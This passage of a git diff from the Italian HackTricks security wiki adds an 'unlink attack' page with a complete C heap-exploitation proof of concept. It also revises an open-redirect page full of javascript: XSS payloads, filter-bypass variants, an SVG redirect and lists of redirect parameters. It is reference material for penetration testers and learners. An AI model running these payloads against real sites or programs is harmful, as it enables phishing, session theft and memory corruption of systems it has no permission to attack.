* Quindi, b1 e c vengono liberati. Poiché `c - c->prev_size` punta ancora a b (ora b1), entrambi vengono consolidati in un unico chunk. Tuttavia, b2 è ancora all'interno tra b1 e c.
|
||||
* Infine, viene eseguito un nuovo malloc che reclama questa area di memoria che in realtà conterrà b2, consentendo al proprietario del nuovo malloc di controllare il contenuto di b2.
|
||||
|
||||
Questa immagine spiega perfettamente l'attacco:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
139
binary-exploitation/heap/unlink-attack.md
Normal file
139
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,139 @@
|
|||
# Attacco Unlink
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Quando questo attacco è stato scoperto, permetteva principalmente un WWW (Write What Where), tuttavia, sono stati aggiunti alcuni **controlli** rendendo la nuova versione dell'attacco più interessante e più complessa e **inutile**.
|
||||
|
||||
### Esempio di Codice:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Codice</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
* L'attacco non funziona se vengono utilizzati i tcaches
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* Modificare un puntatore a un chunk nello stack in modo che punti allo stack in modo da poter alterare i contenuti dello stack scrivendo nel chunk
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Un certo controllo in una memoria (ad esempio lo stack) per creare un paio di chunk dando valori ad alcuni attributi.
|
||||
* Leak dello stack per impostare i puntatori del chunk falso.
|
||||
|
||||
### Attacco
|
||||
|
||||
* Ci sono un paio di chunk (chunk1 e chunk2)
|
||||
* L'attaccante controlla il contenuto di chunk1 e gli header di chunk2.
|
||||
* In chunk1 l'attaccante crea la struttura di un chunk falso:
|
||||
* Per aggirare le protezioni si assicura che il campo `size` sia corretto per evitare l'errore: `corrupted size vs. prev_size while consolidating`
|
||||
* e i campi `fd` e `bk` del chunk falso puntano dove è memorizzato il puntatore del chunk1 in con offset di -3 e -2 rispettivamente in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntino alla posizione in memoria (stack) dove si trova l'indirizzo reale del chunk1:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Gli header del chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è la dimensione del chunk falso contenuto.
|
||||
* Quando il secondo chunk viene liberato, allora questo chunk falso viene scollegato accadendo:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* In precedenza è stato fatto in modo che `fake_chunk->fd->bk` e `fake_chunk->fd->bk` puntassero allo stesso posto (la posizione nello stack dove `chunk1` era memorizzato, quindi era una lista concatenata valida). Poiché **entrambi puntano alla stessa posizione**, solo l'ultimo (`fake_chunk->bk->fd = fake_chunk->fd`) avrà **effetto**.
|
||||
* Questo **sovrascriverà il puntatore al chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack**.
|
||||
* Pertanto, se un attaccante potesse controllare nuovamente il contenuto del chunk1, sarà in grado di **scrivere all'interno dello stack** potenzialmente sovrascrivendo l'indirizzo di ritorno saltando il canary e modificare i valori e i punti delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove se l'attaccante potesse controllare nuovamente il contenuto di chunk1 sarà in grado di scrivere ovunque.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -1,27 +1,12 @@
|
|||
<details>
|
||||
# Redirect aperto
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Open redirect
|
||||
|
||||
## Redirect a localhost o domini arbitrari
|
||||
### Reindirizzamento a localhost o domini arbitrari
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Open Redirect a XSS
|
||||
### Redirect aperto a XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +14,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,34 +52,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# Open Redirect caricando file svg
|
||||
|
||||
Un attacco di Open Redirect può essere eseguito sfruttando la possibilità di caricare file SVG (Scalable Vector Graphics) su un'applicazione web. Questo tipo di attacco sfrutta una vulnerabilità che consente a un attaccante di reindirizzare un utente verso un sito web malevolo.
|
||||
|
||||
## Descrizione
|
||||
|
||||
L'attacco di Open Redirect si verifica quando un'applicazione web permette agli utenti di caricare file SVG senza una corretta validazione o sanificazione. Un attaccante può sfruttare questa vulnerabilità caricando un file SVG contenente un URL di reindirizzamento malevolo.
|
||||
|
||||
## Esecuzione dell'attacco
|
||||
|
||||
Per eseguire l'attacco, l'attaccante carica un file SVG contenente un URL di reindirizzamento malevolo. L'applicazione web, senza una corretta validazione, accetta il file SVG e lo rende disponibile per il download o l'accesso. Quando un utente clicca sul link per scaricare o visualizzare il file SVG, viene reindirizzato all'URL malevolo specificato nel file SVG.
|
||||
|
||||
## Prevenzione
|
||||
|
||||
Per prevenire gli attacchi di Open Redirect durante il caricamento di file SVG, è necessario implementare una corretta validazione e sanificazione dei file caricati. È importante verificare che l'URL di reindirizzamento specificato nel file SVG sia sicuro e consentire solo l'accesso a URL affidabili.
|
||||
|
||||
Inoltre, è consigliabile limitare l'accesso ai file SVG caricati solo agli utenti autorizzati e monitorare attentamente l'attività degli utenti per rilevare eventuali comportamenti sospetti.
|
||||
|
||||
## Esempio di codice vulnerabile
|
||||
|
||||
```html
|
||||
<form action="/upload" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="file">
|
||||
<input type="submit" value="Upload">
|
||||
</form>
|
||||
```
|
||||
|
||||
Nell'esempio di codice sopra, l'applicazione web permette agli utenti di caricare file SVG senza una corretta validazione. Questo rende possibile l'esecuzione di un attacco di Open Redirect caricando un file SVG contenente un URL di reindirizzamento malevolo.
|
||||
## Reindirizzamento aperto caricando file svg
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -101,17 +62,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# Parametri di iniezione comuni
|
||||
|
||||
When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request body. Here are some examples:
|
||||
|
||||
- **url**: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to a malicious website.
|
||||
- **redirect**: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.
|
||||
- **next**: This parameter is commonly used in login and authentication flows to redirect users after successful authentication. Attackers can abuse this parameter to redirect users to a malicious website.
|
||||
- **return**: This parameter is often used in logout flows to redirect users after they have logged out. Attackers can exploit this parameter to redirect users to a malicious website.
|
||||
- **callback**: This parameter is commonly used in OAuth and OpenID flows to specify the callback URL. Attackers can manipulate this parameter to redirect users to a malicious website.
|
||||
|
||||
By understanding these common injection parameters, you can effectively test for open redirect vulnerabilities and protect your web applications from potential attacks.
|
||||
## Parametri di iniezione comuni
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -186,160 +137,17 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
```csharp
|
||||
using System;
|
||||
using System.Web;
|
||||
## Esempi di codice
|
||||
|
||||
namespace OpenRedirect
|
||||
{
|
||||
public partial class Redirect : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
string redirectUrl = Request.QueryString["url"];
|
||||
if (!string.IsNullOrEmpty(redirectUrl))
|
||||
{
|
||||
Response.Redirect(redirectUrl);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Java
|
||||
|
||||
```java
|
||||
import java.io.IOException;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
public class RedirectServlet extends HttpServlet {
|
||||
protected void doGet(HttpServletRequest request, HttpServletResponse response)
|
||||
throws ServletException, IOException {
|
||||
String redirectUrl = request.getParameter("url");
|
||||
if (redirectUrl != null && !redirectUrl.isEmpty()) {
|
||||
response.sendRedirect(redirectUrl);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### PHP
|
||||
|
||||
```php
|
||||
<?php
|
||||
if (isset($_GET['url'])) {
|
||||
$redirectUrl = $_GET['url'];
|
||||
header("Location: $redirectUrl");
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
### Python
|
||||
|
||||
```python
|
||||
from flask import Flask, redirect, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route('/redirect')
|
||||
def redirect_url():
|
||||
redirect_url = request.args.get('url')
|
||||
if redirect_url:
|
||||
return redirect(redirect_url)
|
||||
else:
|
||||
return 'No redirect URL provided.'
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run()
|
||||
```
|
||||
|
||||
### Ruby
|
||||
|
||||
```ruby
|
||||
require 'sinatra'
|
||||
|
||||
get '/redirect' do
|
||||
redirect_url = params[:url]
|
||||
if redirect_url
|
||||
redirect redirect_url
|
||||
else
|
||||
'No redirect URL provided.'
|
||||
end
|
||||
end
|
||||
```
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### Java
|
||||
|
||||
Java è un linguaggio di programmazione ad alto livello, orientato agli oggetti e multi-piattaforma. È ampiamente utilizzato per lo sviluppo di applicazioni web, desktop e mobili. Java è noto per la sua portabilità, sicurezza e robustezza.
|
||||
|
||||
#### Caratteristiche di Java
|
||||
|
||||
- **Orientato agli oggetti**: Java supporta la programmazione orientata agli oggetti, consentendo agli sviluppatori di creare classi e oggetti per organizzare il codice in modo modulare e riutilizzabile.
|
||||
|
||||
- **Portabilità**: Le applicazioni Java possono essere eseguite su diverse piattaforme senza dover essere riscritte. Ciò è possibile grazie alla Java Virtual Machine (JVM), che interpreta il codice Java in un formato comprensibile per il sistema operativo sottostante.
|
||||
|
||||
- **Sicurezza**: Java è progettato per essere sicuro, con funzionalità come la gestione della memoria automatica e la sandbox di sicurezza che limita l'accesso alle risorse del sistema.
|
||||
|
||||
- **Robustezza**: Java è noto per la sua robustezza, con un sistema di gestione delle eccezioni che consente di gestire gli errori in modo elegante e prevenire il crash dell'applicazione.
|
||||
|
||||
- **Ampia libreria standard**: Java offre una vasta libreria standard che fornisce funzionalità predefinite per la gestione di input/output, networking, sicurezza, GUI e altro ancora.
|
||||
|
||||
#### Utilizzo di Java
|
||||
|
||||
Java viene utilizzato in una varietà di settori e applicazioni, tra cui:
|
||||
|
||||
- **Sviluppo di applicazioni web**: Java è ampiamente utilizzato per lo sviluppo di applicazioni web, grazie a framework come Spring e JavaServer Faces (JSF).
|
||||
|
||||
- **Sviluppo di applicazioni desktop**: Java offre la possibilità di creare applicazioni desktop cross-platform utilizzando librerie come Swing e JavaFX.
|
||||
|
||||
- **Sviluppo di applicazioni mobili**: Java è utilizzato per lo sviluppo di applicazioni Android, grazie all'Android SDK che include il supporto per il linguaggio Java.
|
||||
|
||||
- **Sviluppo di applicazioni enterprise**: Java è spesso utilizzato per lo sviluppo di applicazioni enterprise, grazie alla sua scalabilità e alle funzionalità di gestione delle transazioni.
|
||||
|
||||
- **Sviluppo di giochi**: Java viene utilizzato per lo sviluppo di giochi, grazie a librerie come LibGDX e LWJGL.
|
||||
|
||||
#### Conclusioni
|
||||
|
||||
Java è un linguaggio di programmazione versatile e potente, ampiamente utilizzato per lo sviluppo di una vasta gamma di applicazioni. La sua portabilità, sicurezza e robustezza lo rendono una scelta popolare tra gli sviluppatori.
|
||||
#### Java
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
#### Open Redirect
|
||||
|
||||
Un open redirect è una vulnerabilità comune nelle applicazioni web che consente ad un attaccante di reindirizzare un utente verso un sito web esterno, potenzialmente dannoso. Questa vulnerabilità si verifica quando un'applicazione accetta un parametro di reindirizzamento dall'utente e lo utilizza senza alcun controllo o validazione.
|
||||
|
||||
##### Esempio di Open Redirect
|
||||
|
||||
```php
|
||||
<?php
|
||||
$url = $_GET['url'];
|
||||
header("Location: " . $url);
|
||||
?>
|
||||
```
|
||||
|
||||
In questo esempio, l'applicazione accetta un parametro `url` dall'utente tramite la query string e lo utilizza direttamente come URL di reindirizzamento senza alcuna verifica. Un attaccante potrebbe sfruttare questa vulnerabilità fornendo un URL malevolo che reindirizza l'utente verso un sito web dannoso.
|
||||
|
||||
##### Sfruttare un Open Redirect
|
||||
|
||||
Per sfruttare un open redirect, un attaccante può fornire un URL malevolo che sembra affidabile, ma in realtà reindirizza l'utente verso un sito web dannoso. Ad esempio:
|
||||
|
||||
```
|
||||
https://www.example.com/redirect.php?url=https://www.malicious-website.com
|
||||
```
|
||||
|
||||
In questo caso, l'utente verrebbe reindirizzato verso `https://www.malicious-website.com`, che potrebbe essere un sito web di phishing o contenere malware.
|
||||
|
||||
##### Prevenzione
|
||||
|
||||
Per prevenire gli open redirect, è importante validare e controllare attentamente i parametri di reindirizzamento forniti dagli utenti. È consigliabile utilizzare una lista bianca di URL consentiti o applicare una logica di reindirizzamento specifica per evitare reindirizzamenti non autorizzati verso siti web esterni. Inoltre, è consigliabile utilizzare metodi di codifica appropriati per evitare attacchi di tipo XSS (Cross-Site Scripting) che potrebbero consentire ad un attaccante di iniettare codice malevolo negli URL di reindirizzamento.
|
||||
#### PHP
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -347,28 +155,27 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# Strumenti
|
||||
## Strumenti
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# Risorse
|
||||
## Risorse
|
||||
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puoi trovare elenchi di fuzzing.\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) puoi trovare elenchi di fuzzing.\\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue